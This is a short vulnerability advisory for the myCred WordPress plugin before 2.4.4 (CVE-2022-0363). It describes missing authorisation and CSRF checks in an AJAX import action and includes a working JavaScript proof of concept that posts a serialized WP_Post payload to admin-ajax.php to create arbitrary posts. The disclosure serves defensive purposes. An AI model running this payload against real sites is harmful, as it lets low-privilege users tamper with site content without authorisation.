myCred < 2.4.4 – Subscriber+ Arbitrary Post Creation | CVE 2022-0363

Description

The plugin does not have any authorisation and CSRF checks in the mycred-tools-import-export AJAX action, allowing any authenticated users, such as subscribers, to call it and import mycred setup, thus creating badges, managing points or creating arbitrary posts.

Proof of Concept

PoC for creating arbitrary posts:

let formData = new FormData;
formData.append('_file', new Blob(['{"badges":{"7":{"badge":"O:7:\\"WP_Post\\":3:{s:12:\\"post_content\\";s:4:\\"test\\";s:10:\\"post_title\\";s:4:\\"test\\";s:9:\\"post_type\\";s:4:\\"post\\";}"}}}']))
formData.append('action', 'mycred-tools-import-export');
formData.append('request_tab', 'setup');
formData.append('request', 'import');
fetch("/wp-admin/admin-ajax.php", {
  "body": formData,
  "method": "POST"
});